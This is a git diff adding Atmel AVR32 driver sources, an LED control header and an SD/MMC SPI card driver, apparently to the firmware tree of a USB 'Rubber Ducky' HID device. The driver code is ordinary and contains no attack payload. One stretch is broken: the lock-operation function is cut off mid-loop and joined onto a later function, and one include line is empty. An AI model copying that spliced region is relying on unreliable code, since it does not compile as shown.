SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _LED_H_ +#define _LED_H_ + +#include "compiler.h" + + +/*! \name Identifiers of LEDs to Use with LED Functions + */ +//! @{ +#define LED0 0x01 +#define LED1 0x02 +#define LED2 0x04 +#define LED3 0x08 +//! @} + + +/*! \brief Gets the last state of all LEDs set through the LED API. + * + * \return State of all LEDs (1 bit per LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display(void); + +/*! \brief Sets the state of all LEDs. + * + * \param leds New state of all LEDs (1 bit per LED). + * + * \note The pins of all LEDs are set to GPIO output mode. + */ +extern void LED_Display(U32 leds); + +/*! \brief Gets the last state of the specified LEDs set through the LED API. + * + * \param mask LEDs of which to get the state (1 bit per LED). + * + * \return State of the specified LEDs (1 bit per LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display_Mask(U32 mask); + +/*! \brief Sets the state of the specified LEDs. + * + * \param mask LEDs of which to set the state (1 bit per LED). + * + * \param leds New state of the specified LEDs (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Display_Mask(U32 mask, U32 leds); + +/*! \brief Tests the last state of the specified LEDs set through the LED API. + * + * \param leds LEDs of which to test the state (1 bit per LED). + * + * \return \c TRUE if at least one of the specified LEDs has a state on, else + * \c FALSE. + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern Bool LED_Test(U32 leds); + +/*! \brief Turns off the specified LEDs. + * + * \param leds LEDs to turn off (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Off(U32 leds); + +/*! \brief Turns on the specified LEDs. + * + * \param leds LEDs to turn on (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_On(U32 leds); + +/*! \brief Toggles the specified LEDs. + * + * \param leds LEDs to toggle (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Toggle(U32 leds); + +/*! \brief Gets as a bit-field the last state of the specified LEDs set through + * the LED API. + * + * \param field LEDs of which to get the state (1 bit per LED). + * + * \return State of the specified LEDs (1 bit per LED, beginning with the first + * specified LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display_Field(U32 field); + +/*! \brief Sets as a bit-field the state of the specified LEDs. + * + * \param field LEDs of which to set the state (1 bit per LED). + * \param leds New state of the specified LEDs (1 bit per LED, beginning with + * the first specified LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Display_Field(U32 field, U32 leds); + +/*! \brief Gets the intensity of the specified LED. + * + * \param led LED of which to get the intensity (1 bit per LED; only the least + * significant set bit is used). + * + * \return Intensity of the specified LED (0x00 to 0xFF). + * + * \warning The PWM channel of the specified LED is supposed to be used only by + * this module. + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U8 LED_Get_Intensity(U32 led); + +/*! \brief Sets the intensity of the specified LEDs. + * + * \param leds LEDs of which to set the intensity (1 bit per LED). + * \param intensity New intensity of the specified LEDs (0x00 to 0xFF). + * + * \warning The PWM channels of the specified LEDs are supposed to be used only + * by this module. + * + * \note The pins of the specified LEDs are set to PWM output mode. + */ +extern void LED_Set_Intensity(U32 leds, U8 intensity); + + +#endif // _LED_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c new file mode 100755 index 0000000..a90627e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c @@ -0,0 +1,1278 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SD/MMC card driver using SPI interface. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +/*_____ I N C L U D E S ____________________________________________________*/ + +#include "conf_access.h" + + +#if SD_MMC_SPI_MEM == ENABLE + +#include "compiler.h" +#include "board.h" +#include "gpio.h" +#include "spi.h" +#include "conf_sd_mmc_spi.h" +#include "sd_mmc_spi.h" +#include + + +/*_____ M A C R O S ________________________________________________________*/ + +#define NO_SUPPORT_USB_PING_PONG // defines if USB endpoints do not support ping pong mode + + +/*_____ D E F I N I T I O N ________________________________________________*/ + +static uint32_t gl_ptr_mem; // Memory data pointer +static uint8_t sector_buf[MMC_SECTOR_SIZE]; // Sector buffer +static spi_options_t sd_mmc_opt; +static unsigned int sd_mmc_pba_hz; + +Bool sd_mmc_spi_init_done = false; +uint8_t r1; +uint16_t r2; + + uint8_t csd[16]; // stores the Card Specific Data +volatile uint32_t capacity; // stores the capacity in bytes +volatile uint16_t capacity_mult; // stores the HighCapacity in bytes +volatile uint32_t sd_mmc_spi_last_block_address; // stores the address of the last block (sector) + uint16_t erase_group_size; // stores the number of blocks concerned by an erase command + uint8_t card_type; // stores SD_CARD or MMC_CARD type card + + + uint8_t data_mem[513]; // data buffer +#if (defined SD_MMC_READ_CID) && (SD_MMC_READ_CID == ENABLED) + uint8_t cid[16]; +#endif + + +/*_____ D E C L A R A T I O N ______________________________________________*/ + +//! +//! @brief This function initializes the SD/MMC controller. +//! +//! +//! @return bit +//! The memory is ready -> OK (always) +Bool sd_mmc_spi_internal_init(void) +{ + uint16_t retry; + int i; + int if_cond; + + // Start at low frequency + sd_mmc_opt.baudrate = 400000; + spi_setupChipReg(SD_MMC_SPI, &sd_mmc_opt, sd_mmc_pba_hz); + + /* card needs 74 cycles minimum to start up */ + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + for(i = 0; i < 10; ++i) { + spi_write(SD_MMC_SPI,0xFF); + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + + // RESET THE MEMORY CARD + sd_mmc_spi_init_done = false; + card_type = MMC_CARD; + retry = 0; + do + { + // reset card and go to SPI mode + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + // do retry counter + retry++; + if(retry > 100) + return KO; + } + while(r1 != 0x01); // check memory enters idle_state + + if_cond = sd_mmc_spi_get_if(); + if(if_cond == -1) { + return KO; // card is bad + } else if (if_cond == 1) { + card_type = SD_CARD_2; + } else { + // IDENTIFICATION OF THE CARD TYPE (SD or MMC) + // Both cards will accept CMD55 command but only the SD card will respond to ACMD41 + r1 = sd_mmc_spi_send_command(SD_APP_CMD55,0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + if ((r1&0xFE) == 0) { // ignore "in_idle_state" flag bit + card_type = SD_CARD; // card has accepted the command, this is a SD card + } else { + card_type = MMC_CARD; // card has not responded, this is a MMC card + // reset card again + retry = 0; + do { + // reset card again + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + // do retry counter + retry++; + if(retry > 100) + return KO; + } + while(r1 != 0x01); // check memory enters idle_state + } + } + + // CONTINUE INTERNAL INITIALIZATION OF THE CARD + // Continue sending CMD1 while memory card is in idle state + retry = 0; + do { + switch(card_type) { + case MMC_CARD: + r1 = sd_mmc_spi_send_command(MMC_SEND_OP_COND, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + case SD_CARD: + sd_mmc_spi_send_command(SD_APP_CMD55,0); + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + case SD_CARD_2: + // set high capacity bit mask + sd_mmc_spi_send_command(SD_APP_CMD55,0); + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0x40000000); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + } + // do retry counter + retry++; + if(retry == 50000) // measured approx. 500 on several cards + return KO; + } while (r1); + + // CHECK FOR SDHC + if(card_type == SD_CARD_2) { + if_cond = sd_mmc_spi_check_hc(); + if (if_cond == -1) { + return KO; + } else if (if_cond == 1){ + card_type = SD_CARD_2_SDHC; + } + } + + // DISABLE CRC TO SIMPLIFY AND SPEED UP COMMUNICATIONS + r1 = sd_mmc_spi_send_command(MMC_CRC_ON_OFF, 0); // disable CRC (should be already initialized on SPI init) + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + // SET BLOCK LENGTH TO 512 BYTES + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, 512); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + if (r1 != 0x00) + return KO; // card unsupported if block length of 512b is not accepted + + // GET CARD SPECIFIC DATA + if (KO == sd_mmc_spi_get_csd(csd)) + return KO; + + // GET CARD CAPACITY and NUMBER OF SECTORS + sd_mmc_spi_get_capacity(); + + // GET CARD IDENTIFICATION DATA IF REQUIRED +#if (defined SD_MMC_READ_CID) && (SD_MMC_READ_CID == ENABLED) + if (KO == sd_mmc_spi_get_cid(cid)) + return KO; +#endif + + sd_mmc_spi_init_done = true; + + // Set SPI Speed to MAX + sd_mmc_opt.baudrate = SD_MMC_SPI_MASTER_SPEED; + spi_setupChipReg(SD_MMC_SPI, &sd_mmc_opt, sd_mmc_pba_hz); + return OK; +} + +//! +//! @brief This function initializes the SD/MMC controller & the SPI bus(over which the SD_MMC is controlled). +//! +//! +//! @return bit +//! The memory is ready -> OK (always) +Bool sd_mmc_spi_init(spi_options_t spiOptions, unsigned int pba_hz) +{ + // Keep SPI options internally + sd_mmc_pba_hz = pba_hz; + memcpy( &sd_mmc_opt, &spiOptions, sizeof(spi_options_t) ); + + // Initialize the SD/MMC controller. + return sd_mmc_spi_internal_init(); +} + +//! +//! @brief This function sends a command WITH NO DATA STATE to the SD/MMC and waits for R1 response +//! This function also selects and unselects the memory => should be used only for single command transmission +//! +//! @param command command to send (see sd_mmc_spi.h for command list) +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF if time out error) +uint8_t sd_mmc_spi_send_command(uint8_t command, uint32_t arg) +{ + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(command, arg); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return r1; +} + +//! +//! @brief This function sends a command WITH DATA STATE to the SD/MMC and waits for R1 response +//! The memory /CS signal is not affected so this function can be used to send a commande during a large transmission +//! +//! @param command command to send (see sd_mmc_spi.h for command list) +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF time out error) +uint8_t sd_mmc_spi_command(uint8_t command, uint32_t arg) +{ + uint8_t retry; + + spi_write(SD_MMC_SPI, 0xFF); // write dummy byte + spi_write(SD_MMC_SPI, command | 0x40); // send command + spi_write(SD_MMC_SPI, arg>>24); // send parameter + spi_write(SD_MMC_SPI, arg>>16); + spi_write(SD_MMC_SPI, arg>>8 ); + spi_write(SD_MMC_SPI, arg ); + switch(command) + { + case MMC_GO_IDLE_STATE: + spi_write(SD_MMC_SPI, 0x95); + break; + case MMC_SEND_IF_COND: + spi_write(SD_MMC_SPI, 0x87); + break; + default: + spi_write(SD_MMC_SPI, 0xff); + break; + } + + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r1 = 0xFF; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + retry++; + if(retry > 10) break; + } + return r1; +} + + + +//! +//! @brief This function sends a byte over SPI and returns the byte read from the slave. +//! +//! +//! @param data_to_send byte to send over SPI +//! +//! @return uint8_t +//! Byte read from the slave +uint8_t sd_mmc_spi_send_and_read(uint8_t data_to_send) +{ + unsigned short data_read; + spi_write(SD_MMC_SPI, data_to_send); + if( SPI_ERROR_TIMEOUT == spi_read(SD_MMC_SPI, &data_read) ) + return 0xFF; + return data_read; +} +//! +//! @brief This function detects the card interface. +//! +//! +//! @return int +//! SD_FAILURE +//! OK +//! SD_MMC + + +int sd_mmc_spi_get_if(void) +{ + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return SD_FAILURE; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(MMC_SEND_IF_COND, 0x000001AA); + // check for valid response + if((r1 & MMC_R1_ILLEGAL_COM) != 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_MMC; + } + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + if((r1 & 0x01) == 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_FAILURE; + } + r1 = sd_mmc_spi_send_and_read(0xFF); + if(r1 != 0xaa) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_FAILURE; /* wrong test pattern */ + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return OK; +} +//! +//! @brief This function checks whether detected card is High Capacity SD card. +//! +//! +//! @return bit +//! SDHC_CARD Detected card is SDHC +//! SD_CARD Detected card is SD +//! ERROR + + +int sd_mmc_spi_check_hc(void) +{ + unsigned char hc_bit; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return SD_FAILURE; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(SD_READ_OCR, 0); + // check for valid response + if(r1 != 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_FAILURE; + } + hc_bit = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + if(hc_bit & 0x40) { + return SDHC_CARD; + } + return 0; +} + +//! +//! @brief This function reads the CSD (Card Specific Data) of the memory card +//! +//! @param buffer to fill +//! +//! @return bit +//! OK / KO +Bool sd_mmc_spi_get_csd(uint8_t *buffer) +{ +uint8_t retry; +unsigned short data_read; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + // issue command + r1 = sd_mmc_spi_command(MMC_SEND_CSD, 0); + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + sd_mmc_spi_init_done = false; + return KO; + } + // wait for block start + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != MMC_STARTBLOCK_READ) + { + if (retry > 8) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + retry++; + } + // store valid data block + for (retry = 0; retry <16; retry++) + { + spi_write(SD_MMC_SPI,0xFF); + spi_read(SD_MMC_SPI,&data_read); + buffer[retry] = data_read; + } + spi_write(SD_MMC_SPI,0xFF); // load CRC (not used) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return OK; +} + + +//! +//! @brief This function reads the CID (Card Identification Data) of the memory card +//! +//! @param buffer to fill +//! +//! @return bit +//! OK / KO +Bool sd_mmc_spi_get_cid(uint8_t *buffer) +{ +uint8_t retry; +unsigned short data_read; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + // issue command + r1 = sd_mmc_spi_command(MMC_SEND_CID, 0); + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + sd_mmc_spi_init_done = false; + return KO; + } + // wait for data block start + retry = 0; + while((r2 = sd_mmc_spi_send_and_read(0xFF)) != MMC_STARTBLOCK_READ) + { + if (retry > 8) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + retry++; + } + // store valid data block + for (retry = 0; retry <16; retry++) + { + spi_write(SD_MMC_SPI,0xFF); + spi_read(SD_MMC_SPI,&data_read); + buffer[retry] = data_read; + } + spi_write(SD_MMC_SPI,0xFF); // load CRC (not used) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return OK; +} + + + +//! +//! @brief This function extracts structure information from CSD array +//! and compute the number of blocks of the memory card (stored in global uint32_t sd_mmc_spi_last_block_address), +//! its capacity in bytes (stored in global uint32_t capacity) +//! and the block group size for an erase operation +//! Here is defined the position of required fields in CSD array : +//! READ_BL_LEN : +//! [83:80] == data[5] && 0x0f +//! C_SIZE : +//! [73:72] == data[6] && 0x03 +//! [71:64] == data[7] +//! [63:62] == data[8] && 0xc0 +//! C_SIZE_MULT : +//! [49:48] == data[9] && 0x03 +//! [47] == data[10] && 0x80 +//! ERASE_GRP_SIZE (MMC card only) : +//! [46:42] == data[10] && 0x7c +//! ERASE_GRP_MULT (MMC card only) : +//! [41:40] == data[10] && 0x03 +//! [39:37] == data[11] && 0xe0 +//! SECTOR_SIZE (SD card only) : +//! [45:40] == data[10] && 0x3F +//! [39] == data[11] && 0x80 +//! +//! @return bit +//! OK +void sd_mmc_spi_get_capacity(void) +{ + uint32_t c_size; + uint8_t c_size_mult; + uint8_t read_bl_len; + uint8_t erase_grp_size; + uint8_t erase_grp_mult; + + // extract variables from CSD array + read_bl_len = csd[5] & 0x0F; + if (card_type == SD_CARD_2_SDHC) { + c_size = ((csd[7] & 0x3F) << 16) | (csd[8] << 8) | csd[9]; + ++c_size; + capacity = c_size << 19; + capacity_mult = (c_size >> 13) & 0x01FF; + sd_mmc_spi_last_block_address = (capacity >> 9) + (capacity_mult << 23) - 1; + } else { + c_size = ((csd[6] & 0x03) << 10) + (csd[7] << 2) + ((csd[8] & 0xC0) >> 6); + c_size_mult = ((csd[9] & 0x03) << 1) + ((csd[10] & 0x80) >> 7); + sd_mmc_spi_last_block_address = ((uint32_t)(c_size + 1) * (uint32_t)((1 << (c_size_mult + 2)))) - 1; + capacity = (1 << read_bl_len) * (sd_mmc_spi_last_block_address + 1); + capacity_mult = 0; + if (read_bl_len > 9) { // 9 means 2^9 = 512b + sd_mmc_spi_last_block_address <<= (read_bl_len - 9); + } + } + if (card_type == MMC_CARD) + { + erase_grp_size = ((csd[10] & 0x7C) >> 2); + erase_grp_mult = ((csd[10] & 0x03) << 3) | ((csd[11] & 0xE0) >> 5); + } + else + { + erase_grp_size = ((csd[10] & 0x3F) << 1) + ((csd[11] & 0x80) >> 7); + erase_grp_mult = 0; + } + erase_group_size = (erase_grp_size + 1) * (erase_grp_mult + 1); +} + + + +//! +//! @brief This function reads the STATUS regsiter of the memory card +//! After a read the error flags are automatically cleared +//! +//! @return bit +//! The open succeeded -> OK +Bool sd_mmc_spi_get_status(void) +{ + uint8_t retry, spireg; + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // send command + spi_write(SD_MMC_SPI,MMC_SEND_STATUS | 0x40); // send command + spi_write(SD_MMC_SPI,0); // send parameter + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0x95); // correct CRC for first command in SPI (CMD0) + // after, the CRC is ignored + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r2 = 0xFFFF; + spireg = 0xFF; + while((spireg = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + retry++; + if(retry > 10) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + } + r2 = ((uint16_t)(spireg) << 8) + sd_mmc_spi_send_and_read(0xFF); // first byte is MSb + + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + + return OK; +} + + +//! +//! @brief This function waits until the SD/MMC is not busy. +//! +//! @return bit +//! OK when card is not busy +Bool sd_mmc_spi_wait_not_busy(void) +{ + uint32_t retry; + + // Select the SD_MMC memory gl_ptr_mem points to + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != 0xFF) + { + retry++; + if (retry == 200000) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return OK; +} + + + +//! +//! @brief This function check the presence of a memory card +//! - if the card was already initialized (removal test), the host send a CRC_OFF command (CMD59) and check the answer +//! - if the card was not already initialized (insertion test), the host send a CMD0 reset command and check the answer +//! +//! @return bit +//! The memory is present (OK) +//! The memory does not respond (disconnected) (KO) +Bool sd_mmc_spi_check_presence(void) +{ + uint16_t retry; + + retry = 0; + if (sd_mmc_spi_init_done == false) + { + // If memory is not initialized, try to initialize it (CMD0) + // If no valid response, there is no card + while ((r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0)) != 0x01) + { + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + retry++; + if (retry > 10) + return KO; + } + return OK; + } + else + { + // If memory already initialized, send a CRC command (CMD59) (supported only if card is initialized) + if ((r1 = sd_mmc_spi_send_command(MMC_CRC_ON_OFF, 0)) == 0x00) + return OK; + sd_mmc_spi_init_done = false; + return KO; + } +} + + +//! +//! @brief This function performs a memory check on the SD_MMC. +//! +//! +//! @return bit +//! The memory is ready -> OK +//! The memory check failed -> KO +Bool sd_mmc_spi_mem_check(void) +{ + if (sd_mmc_spi_check_presence() == OK) + { + if (sd_mmc_spi_init_done == false) + { + return sd_mmc_spi_internal_init(); + } + else + return OK; + } + return KO; +} + + + +//! +//! @brief This function checks if the card is password-locked +//! Old versions of MMC card don't support this feature ! +//! For a MMC, "lock protection" is featured from v2.1 release ! +//! => see CSD[0]<5:2> bits to know the version : 0x0=1.x, 0x1=1.4, 0x2=2.x, 0x3=3.x, 0x4=4.0 +//! +//! @return bit +//! Password protected -> OK +//! NOT password protected -> KO (or card not initialized) +Bool is_sd_mmc_spi_write_pwd_locked(void) +{ + if (card_type == MMC_CARD) + { + if (((csd[0] >> 2) & 0x0F) < 2) // lock feature is not present on the card since the MMC is v1.x released ! + return KO; + } + if (KO == sd_mmc_spi_get_status()) // get STATUS response + return KO; + if ((r2&0x0001) != 0) // check "card is locked" flag in R2 response + return OK; + + return KO; +} + + +//! +//! @brief This function manages locking operations for the SD/MMC card (password protection) +//! - Once the card is locked, the only commands allowed are UNLOCK and FORCED_ERASE +//! - Once the card is unlocked, the commands allowed are all the others +//! - Before setting a new password (SET_PWD), the current one must be cleared (RESET_PWD) +//! - If card contains a password (PWDSLEN != 0), the card will automatically be locked at start-up +//! +//! /!\ Take care that old versions of MMC cards don't support this feature ! +//! For a MMC, "lock protection" is featured only from v2.1 release ! +//! => see CSD[0]<5:2> bits to know the version : 0x0=1.x, 0x1=1.4, 0x2=2.x, 0x3=3.x, 0x4=4.0 +//! Moreover the OP_FORCED_ERASE command can also have no effect on some cards ! +//! +//! @param operation +//! OP_LOCK -> to lock the card (the current pasword must be specified) +//! OP_UNLOCK -> to unlock the card (the current password must be specified) +//! OP_RESET_PWD -> to clear the current password (the current password must be specified) +//! OP_SET_PWD -> to set a new password to the card (the old password must have been cleared first) +//! OP_FORCED_ERASE -> to erase completely the card and the password (no password needed) +//! @param pwd_lg +//! Password length +//! @param pwd +//! Pointer on the password (char array) to send +//! +//! @return bit +//! Operation succeeded -> OK +//! Operation failed -> KO +Bool sd_mmc_spi_lock_operation(uint8_t operation, uint8_t pwd_lg, uint8_t * pwd) +{ + Bool status = OK; + uint8_t retry; + + // check parameters validity + if ((operation != OP_FORCED_ERASE) && (pwd_lg == 0)) // password length must be > 0 + return KO; + + // wait card not busy + if (sd_mmc_spi_wait_not_busy() == KO) + return KO; + + // set block length + if (operation == OP_FORCED_ERASE) + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, 1); // CMD + else + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, pwd_lg+2); // CMD + PWDSLEN + PWD + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + if (r1 != 0x00) + return KO; + + // send the lock command to the card + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + r1 = sd_mmc_spi_command(MMC_LOCK_UNLOCK, 0); + + // check for valid response + if(r1 != 0x00) + { + status = KO; + } + // send dummy + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + spi_write(SD_MMC_SPI,operation); + if (operation != OP_FORCED_ERASE) + { + spi_write(SD_MMC_SPI,pwd_lg); + for(retry=0 ; retry OK +Bool sd_mmc_spi_read_open (uint32_t pos) +{ + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +} + + +//! +//! @brief This function unselects the current SD_MMC memory. +//! +Bool sd_mmc_spi_read_close (void) +{ + if (KO == sd_mmc_spi_wait_not_busy()) + return false; + return true; +} + + +//! +//! @brief This function opens a SD_MMC memory in write mode at a given sector +//! address. +//! +//! NOTE: If page buffer > 512 bytes, page content is first loaded in buffer to +//! be partially updated by write_byte or write64 functions. +//! +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> OK +Bool sd_mmc_spi_write_open (uint32_t pos) +{ + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +} + + +//! +//! @brief This function fills the end of the logical sector (512B) and launch +//! page programming. +//! +void sd_mmc_spi_write_close (void) +{ + +} + +//! +//! @brief This function allow to read multiple sectors +//! +//! @param nb_sector the number of sector to read +//! @return bit +//! The read succeeded -> OK +Bool sd_mmc_spi_read_multiple_sector(uint16_t nb_sector) +{ + while (nb_sector--) + { + // Read the next sector + sd_mmc_spi_read_sector_to_ram(sector_buf); + sd_mmc_spi_read_multiple_sector_callback(sector_buf); + } + + return OK; +} + +//! +//! @brief This function allow to write multiple sectors +//! +//! @param nb_sector the number of sector to write +//! @return bit +//! The write succeeded -> OK +Bool sd_mmc_spi_write_multiple_sector(uint16_t nb_sector) +{ + while (nb_sector--) + { + // Write the next sector + sd_mmc_spi_write_multiple_sector_callback(sector_buf); + sd_mmc_spi_write_sector_from_ram(sector_buf); + } + + return OK; +} + +//! @brief This function erase a group of sectors +//! NOTE : Erasing operation concerns 